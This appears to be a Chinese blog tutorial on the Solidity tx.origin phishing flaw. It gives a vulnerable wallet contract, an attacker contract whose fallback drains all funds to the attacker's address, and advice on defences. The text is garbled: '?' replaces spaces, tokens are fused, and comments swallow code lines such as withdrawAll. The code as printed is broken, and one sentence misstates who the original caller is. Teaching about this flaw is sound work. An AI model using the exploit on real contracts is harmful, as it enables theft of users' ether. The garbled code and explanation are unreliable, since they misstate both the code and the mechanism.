智能合約編程/Dapp漏洞 -- 交易授權(quán)/Tx.Origin Authentication

Solidity有一個全局變量tx.origin, 它回溯整個調(diào)用棧返回最初的,真正發(fā)起調(diào)用/交易的賬戶地址。在智能合約里使用這個變量做用戶驗證的話,就會留下一個受釣魚攻擊的漏洞。可以看這個Stack Exchange問答: Peter Venesses’s Blog and Solidity — Tx.Origin attacks(https://medium.com/coinmonks/solidity-tx-origin-attacks-58211ad95514)。

攻擊原理

如果一個合約使用tx.origin來授權(quán)相應(yīng)的操作的話,釣魚攻擊會引誘用戶在有漏洞的合約上執(zhí)行一些需要授權(quán)的操作。 看看下面簡單的合約

contract Phishable {

? address public owner;

? constructor (address _owner) {

? ? owner = _owner;

? }

? function()publicpayable{} // collect ether? functionwithdrawAll(address _recipient)public{

? ? require(tx.origin == owner);

? ? _recipient.transfer(this.balance);

? }

}

注意合約里在函數(shù)withdrawAll()在require語句里使用了tx.origin。

下面是一個攻擊者創(chuàng)建的合約

import "Phishable.sol";

contract AttackContract {

? Phishable phishableContract;

? address attacker; // The attackers address to receive funds.? constructor (Phishable _phishableContract, address _attackerAddress) {

? ? phishableContract = _phishableContract;

? ? attacker = _attackerAddress;

? }

? function(){

? ? phishableContract.withdrawAll(attacker);

? }

}

攻擊者會部署上面這個攻擊者合約,同時說服受攻擊合約擁有者送給攻擊者合約一些ether。然后攻擊者可以把這個合約假裝成共同的私有地址,然后引誘受害者發(fā)送ether到這個攻擊者合約。受害者,除非很小心,大都不會注意到在攻擊者合約地址里的代碼,或者攻擊者可以發(fā)送一個多簽的錢包或者其他高級存儲的錢包。 如果受害者成功發(fā)送了一個交易給攻擊者合約,這將觸發(fā)Fallback函數(shù)執(zhí)行。在fallback函數(shù)里將調(diào)用被釣魚/被攻擊合約里的withdrawAll()函數(shù)。這將導(dǎo)致從被釣魚合約里的所有資金被提取到了攻擊者的地址。這是因為,發(fā)起這個調(diào)用的最初的調(diào)用者是受害者合約地址(這里是受攻擊的合約地址)因而,tx.origin等于所有者,在被釣魚合約的第11行上的require語句就會不起作用,然withdrawAll()函數(shù)得以繼續(xù)執(zhí)行。

防護技術(shù)

在智能合約的鑒權(quán)機制中不應(yīng)使用tx.origin。不是說絕對不能用tx.origin變量。該變量還是有合理的使用場景的。比如, 如果想要控制外部合約調(diào)用本合約,可以使用require(tx.origin == msg.sender). 這個語句防止一些中間的合約來調(diào)用本合約,限制本合約僅可供常用的codeless地址訪問。

我們通常使用tx.origin來區(qū)分調(diào)用者是一個賬戶而不是一個合約。

if(msg.sender == tx.origin)

如果調(diào)用者是一個賬戶,上面的條件永遠是True。如果是合約賬戶,則條件就為False.

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容